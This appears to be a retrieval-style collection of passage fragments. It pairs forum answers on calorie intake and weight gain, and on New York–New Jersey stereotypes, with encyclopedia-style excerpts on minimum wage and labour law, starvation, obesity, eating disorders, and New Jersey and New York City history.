[ "to workers having more income available to consume goods and services. Therefore, higher wages increase general consumption and as a result demand for labor increases and unemployment decreases.\nMany economists have argued that unemployment increases with increased governmental regulation. For example, minimum wage laws raise the cost of some low-skill laborers above market equilibrium, resulting in increased unemployment as people who wish to work at the going rate cannot (as the new and higher enforced wage is now greater than the value of their labour). Laws restricting layoffs may make businesses less likely to hire in the first place, as hiring", "the problem is not addressed and the a worker loses their job because of a heavy handed approach such as trade measures resulting in mass lay-offs, the family may lose its income and be plunged into greater poverty.\nFurthermore, sanctions have the potential be used in an unfair way or for protectionist purposes. One reason for this is because when the DSB rules that trade sanctions are allowed in response to a violation of one of the agreements, it is up to the wronged country to choose what products it will restrict. This has seen the US restrict a variety of", "discrimination, no information asymmetry, market rationality, and a legal regime which provided a level playing field and equal protection under the law. Some—and possibly all—of these assumptions are incorrect. Worse, however, the Mackay Radio decision fashioned strong incentives which made it rational for one bargainer (management) to refuse to cooperate and opt out of bargaining.\nThe Court also made assumptions about the business necessity of hiring permanent replacement workers which proved incorrect. Legal scholars, economists and others have pointed out that because most strikes are of an extremely short duration, employers do not need to hire replacements of any kind. Additionally,", "of power to dissuade outsiders from underbidding their current wage. The result is a labor market that does not see any wage underbidding despite the willingness of many unemployed workers to work at a lower wage. This results in a market failure, meaning that the wage is not being set according to the labor market's needs or preferences.\nOne of the major questions in public economics and the welfare of a nation is “When, how, and why should the government intervene in the presence of market failures and for redistribution?” A nation with a high level of long-term unemployed, specifically those", "that although an excessive minimum wage may raise unemployment as it fixes a price above most demand for labor, a minimum wage at a more reasonable level can increase employment, and enhance growth and efficiency. This is because labor markets are monopsonistic and workers persistently lack bargaining power. When poorer workers have more to spend it stimulates effective aggregate demand for goods and services. Criticisms of the supply and demand model The argument that a minimum wage decreases employment is based on a simple supply and demand model of the labor market. A number of economists (for example Pierangelo", "whether or not lawsuits may be brought when jobs are different, but judged by contrast on an importance continuum to jobs of higher pay. In 1981 the Supreme Court of the United States determined with respect to County of Washington v. Gunther that the Bennett Amendment explicitly incorporated only limited defenses to unequal pay and did not otherwise bar suits based on a comparison of payment for different jobs. Nevertheless, it has continued to be used to bar comparable worth suits in lower courts. Background While Title VII forbids employers to discriminate against employees on the basis of sex, the", "2016, Democratic members of the United States House and Senate introduced the Wage Theft Prevention and Wage Recovery Act. It would have increased employer liability under FLSA suits to the amount promised by the employer, rather than the minimum wage, prohibit pre-dispute arbitration agreements from precluding a claim of wage theft from court, make it possible to bring FLSA class action suits without the individual consent of workers who had their wages stolen, create automatic financial penalties for violations and create a discretionary ability for the Department of Labor to refer the violators to the Department of Justice for prosecution.", "monopsonistic assumption, an appropriately set minimum wage could increase both wages and employment, with the optimal level being equal to the marginal product of labor. This view emphasizes the role of minimum wages as a market regulation policy akin to antitrust policies, as opposed to an illusory \"free lunch\" for low-wage workers.\nAnother reason minimum wage may not affect employment in certain industries is that the demand for the product the employees produce is highly inelastic. For example, if management is forced to increase wages, management can pass on the increase in wage to consumers in the form of higher prices.", "demand for labour and increase their demand for capital. This can reduce employment opportunities for those looking for work in the labour market and result in employed workers being made redundant. This will cause an increase in unemployment. New economics of the minimum wage Overtime many economists have conducted empirical studies to try and determine the real life implications of a minimum wage on the labour market. This has led to disagreements between economists on whether a higher minimum wage does reduce employment as different studies have come to different conclusions. These inconsistent results occur due to differences in methodologies,", "Critics of the minimum wage, such as the Canadian Federation of Independent Business and the C. D. Howe Institute, contend that minimum wage laws actually hurt the very people they purport to help by forcing employers to raise prices, reduce staff, or close down. Another critic of minimum wage increases, University of Laval economics professor Stephen Gordon, has argued that the poverty-reducing impacts of the minimum wage are overstated. In his National Post article Gordon writes:\nThe case for increasing the minimum wage has problems in both dimensions: the losses in total income are typically underestimated (when they are not being", "prohibiting wage deductions on account of fines, breakage of machinery, discounts for prepayments, medical attendance, relief funds or other purposes, requiring the giving of notice of reduction of wages, &c.; (2) legislation granting certain privileges or affording special protection to working people with respect to their wages, such as laws exempting wages from attachment, preferring wage claims in assignments, and granting workmen liens upon buildings and other constructions on which they have been employed.\nEmployers' liability laws have been passed to enable an employee to recover damages from his employer under certain conditions when he has been injured through accident occurring", "to quit. Employers have tried to force employees to quit by imposing unwarranted discipline, reducing hours, cutting wages, or transferring the complaining employee to a distant work location.\nThe United States Supreme Court stated in Oncale v. Sundowner Offshore Services, Inc. that Title VII is \"not a general civility code.\" Thus, federal law does not prohibit simple teasing, offhand comments, or isolated incidents that are not extremely serious. Rather, the conduct must be so objectively offensive as to alter the conditions of the individual's employment. The conditions of employment are altered only if the harassment culminates in a tangible employment action", "because they have the opportunity to earn a higher wage. Businesses are also discouraged from employing new workers as higher wages increase their costs. This results in a rise in unemployment as individuals are unable to find employment.\nIn neoclassical economics it is assumed that firms operate to maximise their profits and that the low skilled labour market is highly competitive. The implementation of a minimum wage above the equilibrium wage will increase the production costs for firms and reduce their profits as it becomes more expensive to pay workers. As firms look to maximise their profits they will reduce their", "are getting employed had not been included in the unemployed category. To achieve high wage growth in the United States, it depends on how the businesses creates competitiveness in labour market and encourage those people to work for the purpose of boosting high labour productivity to result in high wage growth.\nAlthough minimum wage law has been applied in many states to increase wage growth, this has not been an effective solution to improve the growth due to the increasing living costs. Also, the unequal wage growth in the income distributions is identified as one of the major reasons of the", "down and solve a dispute.\nThis process often benefits the employer because it reduces the chances of a strike or legal action, and benefits the employee because it allows them more bargaining power and prevents mass layoffs in a dispute. However, at times the government has been known to step in regardless of arbitration clauses and force its own remedies.", "wages, would constitute a breach of contract. The employer may, however, suspend the employee on full pay and give warnings.\nThe effectiveness of these penalties was questionable. Suspension on full pay, for example, was found to have little deterrent effect. In practice, the employer’s superior bargaining power, and his right to dismiss merely by giving notice, meant that the employer could \"convince\" the employee to agree to a penalty which would otherwise have amounted to a breach of contract. The Code and employer’s right to discipline The Code of Good Practice recognizes the employer’s common-law right to discipline employees by requiring,", "it increases labor productivity and allows employers to pay higher wages to workers because they are shifted to higher-value tasks.\nRensi and other critics say that some businesses, especially small businesses, cannot afford the capital investments needed for automation, or simply cannot afford higher labor costs. As a result, they are either driven out of business or relocate to lower-wage jurisdictions. Many such cases are portrayed on the advocacy web site Faces of $15. Other businesses, including Amazon.com, have voluntarily pledged to pay workers no less than $15 per hour (though through Amazon Robotics the company is also investing heavily", "Premium Friday or had plans to do so.\nThe problem with unpaid overtime in companies is that the overtime is simply not recorded in many cases. The amount of overtime is regulated by labor regulations, so, in order to not contradict labor regulations, workers are told not to record the overtime, since it would be considered an illegal action from the side of the company. The workers themselves often rationalize this by attributing the overwork to lacking skills from their side, describing a lack of familiarity with the work, \"not being trained enough\" as the cause for not being able to", "the oppressed employee worse than it was before. But it is not the function of this court to hold congressional acts invalid simply because they are passed to carry out economic views which the court believes to be unwise or unsound.\n\"Legislatures which adopt a requirement of maximum hours or minimum wages may be presumed to believe that when sweating employers are prevented from paying unduly low wages by positive law they will continue their business, abating that part of their profits, which were wrung from the necessities of their employees, and will concede the better terms required by the law,", "wealth. Economists disagree whether higher minimum wages cause unemployment among low-wage workers. In 2017 and 2018, the unemployment rate was very low nationally, and several states hit record low unemployment levels, with no clear pattern across high-wage vs. low-wage states.\nFormer McDonalds CEO and President Ed Rensi blames the Fight for $15 movement for the installation of automated ordering kiosks at the chain's restaurants nationwide, which he says is an example of automation causing unemployment. Increased automation is treated as a benefit of a higher minimum wage by some advocates; and economists generally view automation as a net positive because", "in labour law is the fate of employees when a business is sold or closes. This problem has a close practical connection to dismissals for operational reasons, as many businesses are sold because they are unhealthy and require restructuring. Common law In terms of the common law, the position of the employees was that no employee could be forced to continue his contract of employment with the new employer; conversely, the new employer had no obligation to continue to employ the employee.\nTransfer of a business could therefore mean the termination of existing employment contracts. Original s 197 When the LRA", "industry, while the downside is the risk of a labour disruption if negotiations stall or fail. Once this contract has been successfully negotiated and ratified by the unionized workers, the union declares it a \"pattern agreement\" and presents it to the other employers as a take-it-or-leave-it offer.\nIn Australia, pattern bargaining was specifically outlawed under the now-repealed WorkChoices legislation. The law was repealed by the Labor Party after their victory in the 2007 election, but Labor's Fair Work Act, which came into force on 1 July 2010, still outlaws pattern bargaining.", "also price increases and a lack of entry level jobs due to ‘labor substitutions effects’. The voluntary undertaking of a living wage is criticized as impossible due to the competitive advantage other businesses in the same market would have over the one adopting a living wage. The economic argument would be that, ceteris paribus (all other things being equal), a company that paid its workers more than required by the market would be unable to compete with those that pay according to market rates. See competitive advantage for more information.\nAnother issue that has emerged is that living", "that workers will work fewer hours and firms would demand more labor. Hence, when firms reduce labor demand during a recession, we should expect to see a fall in wages as well. However, in reality, firms layoff redundant workers while keeping the wage unchanged for the rest of the workforce, and the wage compensation fluctuates considerably less than employment does in a typical business cycle. Therefore, the law of supply and demand is insufficient to explain patterns in wages and employment. Implicit contracts as insurance In an effort to explain the layoff puzzle, models with implicit contracts were independently developed", "wage for other workers. Finally, S. 1737 would amend the Internal Revenue Code to extend through 2016 an increased limitation on the amount of investment that firms can immediately deduct from their taxable income—a limitation that mostly affects small- to medium-sized businesses. Procedural history The Minimum Wage Fairness Act was introduced into the United States Senate on November 19, 2013 by Sen. Tom Harkin (D, IA). On April 8, 2014, Senate Majority Leader Harry Reid announced that the Senate would not vote on the bill until three weeks later after a two-week April recess. Debate and discussion The delay of", "At-will employment At-will employment is a term used in U.S. labor law for contractual relationships in which an employee can be dismissed by an employer for any reason (that is, without having to establish \"just cause\" for termination), and without warning, as long as the reason is not illegal (e.g. firing because of the employee's race or religion). When an employee is acknowledged as being hired \"at will,\" courts deny the employee any claim for loss resulting from the dismissal. The rule is justified by its proponents on the basis that an employee may be similarly entitled to leave his", "most economists argue that as wages fall below a livable wage many choose to drop out of the labor market and no longer seek employment. This is especially true in countries where low-income families are supported through public welfare systems. In such cases, wages would have to be high enough to motivate people to choose employment over what they receive through public welfare. Wages below a livable wage are likely to result in lower labor market participation in the above-stated scenario. In addition, consumption of goods and services is the primary driver of increased demand for labor. Higher wages lead", "effects that follow a decrease in wages: it will improve competitiveness and, ultimately, increase net exports, and it will have a positive effect on investment due to increased profitability. However, in post-Keynesian and Kaleckian models, wages have a dual role as both a cost item and a source of demand. While post-Keynesian models acknowledge the first two effects, they add a crucial element which is missing in the mainstream models: a wage decrease (or, to be precise, a decrease in the share of wages in national income) will certainly suppress domestic consumption, since the marginal propensity to consume out of", "for fairness will lead to a compression of the pay scale, and wages for other groups within the firm will be higher than in other industries or firms.\nThe union threat model is one of several explanations for industry wage differentials. This Keynesian economics model looks at the role of unions in wage determination. The degree in which union wages exceed non-union member wages is known as union wage premium and some firms seek to prevent unionization in the first instances. Varying costs of union avoidance across sectors will lead some firms to offer supracompetitive wages as pay premiums to workers", "Opposition to trade unions Unemployment The economist Milton Friedman, advocate of laissez-faire capitalism, believed that unionization frequently produces higher wages at the expense of fewer jobs, and that, if some industries are unionized while others are not, wages will decline in non-unionized industries.\nBy raising the price of labor, the wage rate, above the equilibrium price, unemployment rises. This is because it is no longer worthwhile for businesses to employ those laborers whose work is worth less than the minimum wage rate set by the unions.\nTrade unions often benefit insider workers, those having a secure job and high productivity, at the" ]

[ "To answer the header question, yes. There are cases where obese people trapped in snowbound cars lived off their body fat for a long time, but those conditions had to be right. Strip all food away from an obese person all at once and you can cause really bad shocks to their body that can kill them if they have to engage in strenuous activity like hike through a desert, for example, even if they have access to water.\n\n > Anyway I am REALLY confused by all of these people who claim they have gained FIFTY TO ONE HUNDRED POUNDS while only eating 400 calories per day.\n\nWell considering that's scientifically impossible unless someone rams a garden hose down their throat, plugs up all the holes in their body and then turns it on full blast, they're feeding you (pun intended) a line. They're either lying about their caloric intake or they're not factoring in all of their caloric sources in to their equation. \n\nThey might EAT 400 calories a day, but is that the sum and total of what they're eating, not just the fatty or sugary foods, and what are they DRINKING? A single can of standard Coke contains almost a third of that number, 140 calories, and that can go into making fat as much as 140 calories from a steak or a handful of peanuts. A large glass of orange juice contains over 200 calories. And a \"healthy option\" microwave dinner still has 150-300 calories in it.\n\nIn contrast, a quite sedentary normal sized person burns over 1500 calories a day without trying, so let's make them REALLY lazy and say they burn only 1000 calories on a day. Now there are around 3500 calories in a pound of fat. So the math, regardless of any sort of medical circumstance or condition short of those that affect body fluid levels, says that a TRUE 400 calorie a day diet would result in a loss of a pound of body weight every five days. (And if you're that sedentary you're likely going to lose muscle tissue too, if you had any to start with).", "> people who claim they have gained FIFTY TO ONE HUNDRED POUNDS while only eating 400 calories per day.\n\nImpossible.\n\nStop arguing with these people and if you feel like you need to be informed, research the papers relevant to your condition.", "Weight gain or loss is a really simple equation\n > Change in weight = calories consumed - calories burnt. \n\nIf the average base metabolic rate of a human is around 1500 calories, they should be using about 1000 calories from fat a day. So if they're gaining weight at only 400 calories somebody is being less than honest." ]

[ "them. I admit that I have not yet met any who had not eaten starches in several decades, but if some people cut off from starches for only a couple of weeks die while these others look as well as they do after years, why should we doubt that the (deliberate) fasting could be prolonged still further? If those cut off from starches grow progressively weaker to death, one would normally fear that such a diet simply cannot be prolonged, but inquiry of those pursuing this practice reveals that at first all of them notice a lessening of strength, but", "death certificate lists the cause of death as \"malnutrition--failure to eat because of mental disorder.\" A contributing factor to her death was listed as \"insanity due to auto accident 15 years ago.\" She is buried at Spring Grove Cemetery.", "beriberi, pellagra, and scurvy. These diseases collectively can also cause diarrhea, skin rashes, edema, and heart failure. Individuals are often irritable and lethargic as a result.\nThere is insufficient scientific data on exactly how long people can live without food. Although the length of time varies with an individual's percentage of body fat and general health, one medical study estimates that in adults complete starvation leads to death within 8 to 12 weeks. Starvation begins when an individual has lost about 30%, or about a third, of their normal body weight. Once the loss reaches 40%", "get right. It is the deadliest mental illness—20 per cent of sufferers die prematurely because of their condition—and yet, we struggle to make decent, responsible pop culture about it. […] And so, I'm left wondering, is it even possible to make responsible art about eating disorders? What's more important: telling our stories for the purpose of increased compassion, or protecting those who might be susceptible to the disorder from feeling inspired? We may have an answer, in a brand new TV show out this week on BBC3. […] In this show, anorexia is actually personified. The illness is played by", "and reports showed that there were no traces of food in her stomach, but some alcohol (possibly from her medication) was found and it is possible that she had not consumed anything for more than three days and as a consequence starved to death. The police ruled out any foul play and it was determined she succumbed due to total organ failure and diabetes.\nParveen Babi converted to Christianity during the last years of her life, as she stated in an interview, and was baptised in a Protestant Anglican Church at Malabar Hill. and expressed a desire to be buried as", "for 5 years. He stood at 170 cm (5 ft 7 in), and weighed 1,072 pounds (486 kg), at his peak. He was so enormous that his bedroom wall had to be cut out to extract him from his home. Then, he was rushed to a hospital at Sioux Falls, South Dakota in an ambulance with extra-wide doors and a ramp-and-winch system. The ambulance had to be dispatched from Denver. Despite being super morbidly obese, Deuel was also malnourished because many of the calories he had consumed were from junk food. However, assisted by a gastric bypass surgery which followed his hospitalization, Deuel proceeded to", "any of that. I wasn't addicted to anything. I knew I didn't have an eating disorder. I was just skinny from being stressed out but people in positions of power in my life didn't believe me\". She was critical of the treatment she received and checked herself out early, explaining that \"they weighed you in the dark, you can have two packs of sugar a day, they regimented my calories but my body went of a severe calorie uptake. I was starving all the time and I begged for protein shakes in between meals but they wouldn't have them and", "a state of starvation which caused many to die.\nThe Roman Historian Flavius Josephus writing in the first century described classic symptoms of the syndrome among survivors of the siege of Jerusalem. He described the death of those who overindulged in food after famine, whereas those who ate at a more restrained pace survived.\nIn his 5th century BC work 'On Fleshes' (De Carnibus), Hippocrates writes, \"if a person goes\nseven days without eating or drinking anything, in this period most die; but there are some who survive that time\nbut still die, and others are persuaded not to starve themselves to death but", "the vast majority of people labelled 'overweight' and 'obese' according to current definitions do not in fact face any meaningful increased risk for early death. In a quantitative analysis of a number of studies, involving more than 600,000 men and women, the lowest mortality rates were found for people with BMIs between 23 and 29; most of the 25–30 range considered 'overweight' was not associated with higher risk. Relationship to health A study published by Journal of the American Medical Association (JAMA) in 2005 showed that overweight people had a death rate similar to normal weight people as defined by", "The victims are said to turn out drained of their life and skinny.", "to have been fluid. (Severely obese people often suffer from edema, and their weight can fluctuate rapidly as fluid is taken up or released.) Yager suffered from many other obesity-related health problems as well, including breathing difficulty, a dangerously high blood sugar level, and stress on her heart and other organs.\nAs is common with many severely obese patients, Yager was not able to stand or walk, because her muscles were not strong enough to support her, due in part to muscle atrophy from disuse.\nYager was hospitalized 13 times in two years, according to Beecher Fire Department chief Bennie Zappa. Each", "as common symptoms in day-to-day life. These symptoms are not necessarily prevalent during regurgitation episodes, and can happen at any time. Weight loss is often observed (42.2%) at an average loss of 9.6 kilograms, and is more common in cases where the disorder has gone undiagnosed for a longer period of time, though this may be expected of the nutrition deficiencies that often accompany the disorder as a consequence of its symptoms. Depression has also been linked with rumination syndrome, though its effects on rumination syndrome are unknown.\nAcid erosion of the teeth can be a feature of rumination, as can halitosis", "Gourmand syndrome Causes It is believed that the frontotemporal circuits, normally involved in healthy eating, can, when injured, cause gourmand syndrome in patients. History Only thirty-six people have been diagnosed with gourmand syndrome. Many of these cases, beforehand the patient did not have any interest in food nor had any family history with eating disorders. The first, most famous case was seen in 1997 by Regard and Landis in the journal Neurology: after a Swiss stroke patient was released from the hospital, he immediately quit his job as a political journalist and took up the profession of food", "one who 'has a tendre...infatuated' is to have 'thrown them continually together...by doing so you will cure...[or] you will know that it is not an infatuation'. Types Three types of infatuation have been identified by Brown: the first, and perhaps most common, being a state of 'being 'carried away, without insight or proper evaluative judgement, by blind desire'. The second, 'evaluation...may well be sound although the craving or love remains unaffected by it'; while 'a third type is that of the agent who exhibits bad judgement and misevaluation for reasons such as ignorance", "he did consume. Wan reveals that during his diet he lacked energy and motivation; this, coupled with the stress of his course, sent him into depression. He states that he became suicidal around this time – \"I fantasised about killing myself – I could see no other way out...I concluded that suicide was the only option.\" Wan never did attempt to kill himself, stating a fear that he would be unsuccessful and the attempt would be regarded as \"just another failing\". Upon dropping out of his course and returning home, he confessed his feelings to his family, and was diagnosed", "1 Litre no Namida Plot summary Aya Kitō was diagnosed with a disease called spinocerebellar degeneration when she was 15 years old. The disease causes the person to lose control over their body, but because the person can retain all mental ability the disease acts as a prison. So in the end she cannot eat, walk or talk.\nThrough family, medical examinations and rehabilitations, and finally succumbing to the disease, Aya must cope with the disease and live on with life until her death at the age of 25. Film A Litre of Tears is the film version of the", "commit suicide and ended up starving to death.", "Renee Williams Biography By the age of 12, Williams was already in the category of super-morbid obesity, which refers to a body mass index over 50. After a car crash in 2003 she became unable to walk, and added another 420 lb to her then 460 lb frame inside 4 years. She was bedridden and ate large amounts of food. Williams' daughter attests that both before and after her accident, it was a common occurrence for Williams to keep eating until her stomach hurt, with reports of her eating up to eight burgers at a time. Williams had a gastric bypass at", "severe stomach ache and diabetes. Due to these problems, he retired from eating enormous quantities and relied to normal eating. Death Theetta Rappai died in Jubilee Mission Hospital in Thrissur city at 4:30 AM (IST) on 9 December 2006, aged 67. He was a chronic bachelor. He had retired from eating competitions earlier that year, after he was diagnosed with diabetes and hypertension, thus making his dream of Guinness Book unfulfilled. He was 120 kg when he died and his family had to build a special coffin for him. He was buried at Lourdes Church, Thrissur. Film Director Winu Ramakrishnan filmed", "fat, and has a 32% chance of getting diabetes within the next five years. In Bonnie's case, after having her stomach stapled, she lost over 100 pounds, but the majority of that weight was muscle rather than fat, and as a result, she is in worse shape than before her surgery. She is also extremely likely to need another artificial knee, and Dr. H allows her to speak to her daughter and grandson to help motivate her. Ramon is revealed to be the sickest person in relation to his age (with an internal age of 50, which, ironically enough, was", "but themselves suffered badly from lice in the Second World War on the Eastern Front, especially in the Battle of Stalingrad. \"Delousing\" became a grim euphemism for the extermination of Jews in concentration camps such as Auschwitz under the Nazi regime.\nIn the psychiatric disorder delusional parasitosis, patients express a persistent irrational fear of animals such as lice and mites, imagining that they are continually infested and complaining of itching, with \"an unshakable false belief that live organisms are present in the skin\". In science The human body louse Pediculus humanus humanus has (2010) the smallest insect genome known. This louse", "cause of death is, in general, cardiac arrhythmia or cardiac arrest brought on by tissue degradation and electrolyte imbalances. Alternatively, things like metabolic acidosis may also cause death in starving people. Treatment Starving patients can be treated, but this must be done cautiously to avoid refeeding syndrome. Rest and warmth must be provided and maintained. Small sips of water mixed with glucose should be given in regular intervals. Fruit juices can also be given. Later, food can be given gradually in small quantities. The quantity of food can be increased over time. Proteins may be administered intravenously to raise", "are ways around it and encourages her to self-induce vomiting, saying, \"You can eat what you want, and not gain a pound.\" Andie continues restricting her calories, but when she cannot help eating due to extreme hunger, she resorts to purging methods. \nHer mom notices changes in her weight, while her boyfriend and best friend also notice changes in her attitude. Andie eventually tells her best friend that she sees the changes and can't stop her behavior. She faints twice, both during competitions, and goes to the hospital, after fainting the second time, where a doctor talks to her", "being at an unhealthy weight for her height and age. \nIn a later search, a stash of laxatives and herbal diet-aid pills were found in her possession. Along with the use of medication to lose weight, many of Heidi's friends stated that she had an unhealthy relationship with purging, as well as skipping meals. An autopsy showed no heart deformities and no abnormal substances in her blood. However, her heart wall was found to be abnormally thin. A week before her death, she told her family that her heart was \"racing\" and \"pounding,\" but she would not seek medical", "troubled by illnesses, some relating to obesity and what often is described as dropsy, severe edema that would be described today as congestive heart failure. He died on 21 December 1375 in Certaldo, where he is buried.", "a Dr. Chakraborthy after having lost weight. The doctor issued a prescription for worms and said he appeared thin but not wasting away. On 28 February, he was observed as being \"pasty\" with \"sunken eyes\" and not interacting with other children. People continued to notice him eating out of bins, including on 1 March, the day he would receive the beating that caused his death.\nIn addition to direct concerns about Daniel, social services had been visiting the family since 2008 due to serious domestic violence against Łuczak by Krężołek. However, she said she could protect her children, and Daniel was", "A chief risk factor for prediabetes is excess abdominal fat. Obesity increases one’s risk for a variety of other medical problems, including hypertension, stroke, other forms of cardiovascular disease, arthritis, and several forms of cancer. Obese individuals are at twice the risk of dying from any cause than normal-weight individuals. The prevalence of obesity and overweight have risen to epidemic proportions in the United States, where 67% of adults are overweight and, of these, approximately half are obese.\nThe prevalence of hypertension, another cardiometabolic syndrome component, has been increasing for the last decade. In 1994, 24% of U.S. adults had hypertension.", "described in 1999 in overweight and obese people undergoing hemodialysis, and has subsequently been found in those with heart failure and peripheral artery disease (PAD).\nIn people with heart failure, those with a BMI between 30.0 and 34.9 had lower mortality than those with a normal weight. This has been attributed to the fact that people often lose weight as they become progressively more ill. Similar findings have been made in other types of heart disease. People with class I obesity and heart disease do not have greater rates of further heart problems than people of normal weight who also have", "16, she was diagnosed with dyspepsia. At around the age of 19, reports came out that she had abstained from eating for seven weeks.\nIt was after two accidents, in 1864 and 1865, that she became famous for her ability to abstain from food. As a result of the accidents, Mollie Fancher lost her ability to see, touch, taste, and smell. She claimed to have powers that involved her being able to predict events as well as to read without the ability of sight.\nBy the late 1870s, she was claiming to eat little or nothing at all for many months. Her", "by Weltzin, Hsu, Pollicle, and Kaye, it was stated that 19% of bulimics undereat, 37% of bulimics eat an average or normal amount of food, and 44% of bulimics overeat. A survey of 15- to 18-year-old high school girls in Nadroga, Fiji, found the self-reported incidence of purging rose from 0% in 1995 (a few weeks after the introduction of television in the province) to 11.3% in 1998. In addition, the suicide rate among people with bulimia nervosa is 7.5 times higher than in the general population.\nWhen attempting to decipher the origin of bulimia nervosa in a cognitive context, Christopher" ]

[ "Some parts of New Jersey are of a lower economic class than some parts of New York, which is reflected in cultural differences such as different tastes in clothes and a different accent. To some New Yorkers this portion of New Jersey is seen as boorish, rude, dumb -- all the things one doesn't want to be.\n\nObviously this is a stereotype, as there are also many fine people and places in New Jersey, and many unappealing people and places in New York.\n\nBut it is *much* more common for people from New Jersey to commute to New York than the opposite. So it's the New Yorkers who feel like they are putting up with a bunch of different people showing up on their territory.", "Himym explained it to me as, they aren't real big city people and they shouldn't act like it. Why it isn't a 2 way thing is because NJ folks are nicer?" ]

[ "like, 'Oh, my God, look how dumb this makes New Jersey look,' but it's not even a show about New Jersey. It's about people who come down to the Jersey shore.\"\nHowever, most casual viewers of the show are unaware that the majority of the cast comes from New York. As a result, many out-of-staters are associating New Jerseyans with the \"Jersey Shore\" stereotype even more-so than they used to. This has resulted in a backlash amongst New Jersey natives against the show. Several prominent figures have spoken out against the series for this reason, including New Jersey", "Urban Nightmares: The Media, the Right, and the Moral Panic Over the City: Security was increased, pornographic theatres were closed, and \"undesirable\" low-rent residents were pressured to relocate, and then more tourist-friendly attractions and upscale establishments were opened. Advocates of the remodeling claim that the neighborhood is safer and cleaner. Detractors have countered that the changes have homogenized or \"Disneyfied\" the character of Times Square and have unfairly targeted lower-income New Yorkers from nearby neighborhoods such as Hell's Kitchen. The changes were shaped in large part by the actions of The Walt Disney Company, which bought and restored the New", "is also cited as a reason, as people who traverse through the state may only see its industrial zones. Reality television shows like Jersey Shore and The Real Housewives of New Jersey have reinforced stereotypical views of New Jersey culture, but Rockland cited The Sopranos and the music of Bruce Springsteen as exporting a more positive image. Cuisine New Jersey is known for several foods developed within the region, including Taylor Ham (also known as pork roll), cheesesteaks, and scrapple.\nSeveral states with substantial Italian American populations take credit for the development of submarine sandwiches, including New Jersey. Sports New Jersey", "\"Joisey\" dialect, when in reality that New York-influenced dialect for New Jersey natives is almost always exclusive to the extreme northeastern region of the state nearest New York City. An important factor here is that in the real world, \"local\" TV, political, and sports personalities in South Jersey and part of Central Jersey are culturally associated with Philadelphia, not New York City.", " In 1985 the port was the busiest in the world.\nIn the early 1950s, the cities of New Jersey began experiencing urban decay. Governments attempted to intervene with the urban decay, focusing on the office Gateway Center and several other projects. However, suburbs continued to grow. Revolts occurred, often due to frustration about the poor urban conditions. As urban decay started a gap between the wealthier suburbs and poorer cities, state income taxes were implemented to stop the gap. Around the 1970s, urbanization started increasing again.\nDuring the 1960s, many African Americans felt disenfranchised. This feeling was exacerbated by police", "New York, with stretches of cultivated landscape in the distance, the picture is singularly lovely and complete.\nAlthough Staten Island as a whole remained largely residential and less densely populated and developed than the surrounding region, the inhabitants of the region favored consolidation with the greater metropolis. In 1898, Staten Island was consolidated with New York City, and this move accelerated development of the region. At this time immigrant groups settled in New Brighton in greater numbers; Italians and African-Americans along the Kill Van Kull, and Jewish communities on the eastern boundary of the village near St. George and Tompkinsville. 20th", "York City in the early 1980s. Weaver said: \"I think it was a love letter to New York and New Yorkers. Central Park West, and Tavern on the Green, and the horses in the park, and the doorman saying, 'Someone brought a cougar to a party'—that's so New York. When we come down covered with marshmallow, and there are these crowds of New Yorkers of all types and descriptions cheering for us as a New York—it was one of the most moving things I can remember.\" It is similarly credited with helping diminish the divide between television and film actors.", "puppy swatted by a rolled-up newspaper. New York's finances were in need of attention. Less than halfway through Abraham Beame's term as mayor the city was \"careering toward bankruptcy.\" And perhaps there were signs that the 'cultural axis' had tilted. In 1972, The Tonight Show Starring Johnny Carson had moved from Midtown Manhattan to Burbank, California—the cultural equivalent of the Brooklyn Dodgers move to Los Angeles—and Carson would stick the boot in by sprinkling his monologues with reminders of the city's decline. \"Some Martians landed in Central Park today ... and were mugged.\" Cultural thread The cultural thread of Mahler's", "With that designation, the Riegelmann Boardwalk became the city's eleventh \"scenic landmark\", and as such, could not be removed. The same month, two comfort stations opened at Brighton 15th Streets after several years of debate. Cultural significance The construction of the Riegelmann Boardwalk opened up the beach to the millions of people that visited Coney Island in its heyday, and it became known as the area's \"Main Street\", supplanting Surf Avenue in that role. A 1923 guidebook described the area as \"the oldest, most densely crowded and most democratic\" of all the amusement areas around New York City. The boardwalk", "both opened in 1952. Further change came in 1955 when the Third Avenue elevated railway above the Bowery and Third Avenue was removed. This in turn made the neighborhood more attractive to potential residents, and by 1960, The New York Times said that \"this area is gradually becoming recognized as an extension of Greenwich Village ... thereby extending New York’s Bohemia from river to river\". The area became a center of the counterculture in New York, and was the birthplace and historical home of many artistic movements, including punk rock and the Nuyorican literary movement.\nBy the 1970s and 1980s, the", "and Manhattan's East Village, (and to a lesser degree, SoHo and TriBeCa, which previously had not been residential). The initial presence of artists and young people changed the perception of the place such that others who would not have considered moving there before perceived it as an interesting, safe, exciting, and eventually, desirable. The process continued as many suburbanites, transplanted Americans, internationals, and immigrants (most focused on opportunities in NY/NJ region and proximity to Manhattan) began to make the \"Jersey\" side of the Hudson their home, and the \"real-estate boom\" of the era encouraged many to seek investment opportunities. Empty", "In the late 20th century, telecommunication and high technology industries employed many New Yorkers. New York City was especially successful at this transition. Entrepreneurs created many small companies, as industrial firms such as Polaroid withered. This success drew many young professionals into the still–dwindling cities. New York City was the exception and has continued to draw new residents. The energy of the city created attractions and new businesses. Some people believe that changes in policing created a less threatening environment; crime rates dropped, and urban development reduced urban decay.\nThis in turn led to a surge in culture. New York City", "then an island. Planning and construction Interest in creating a public boardwalk increased in the 1890s, when the formerly separate boroughs of New York City were consolidated. The economist Simon Patten, a boardwalk proponent, said that the construction of a similar boardwalk in Atlantic City, New Jersey, in the late 19th century had helped to revitalize the formerly seedy waterfront there. The New York Association for Improving the Condition of the Poor took a similar position. In 1897, the Board of Public Improvements and Brooklyn borough president Edward M. Grout proposed a boardwalk along the southern shore of Coney Island,", "ethnically diverse artists including Zhang Huan, Sienna Shields and Pozsi B. Kolor. In these portraits, Close aimed to highlight the cultural diversity of New York City. He also has two self-portraits within the station. Effects Since 2013, construction of the station has caused the value of real estate in the area to rise. However, construction has temporarily made the prices of real estate decrease to \"affordable\" levels. Although the surrounding area's real estate prices had been declining since the 1990s, there had been increases in the purchases and leases of residential units around the area, causing real estate prices to", "Lower Broadway, Newark History Lower Broadway is marked by the immigrant populations who have passed through the community throughout Newark's history. As the Italian community moved to the suburbs in the 1960s, the neighborhood became home to recent Puerto Rican arrivals. In the late 1960s, the African-American community assumed leadership positions and members of Newark's Hispanic community began to organize as well. They came together to address their challenges and formed Familias Unidas, which created New Jersey's first bi-lingual daycare center. This organization later laid the groundwork for what is now one of Lower Broadway's anchoring institutions, La Casa de", "Easterners and Italians. By the 1960s, North Hudson was feeling the shift in 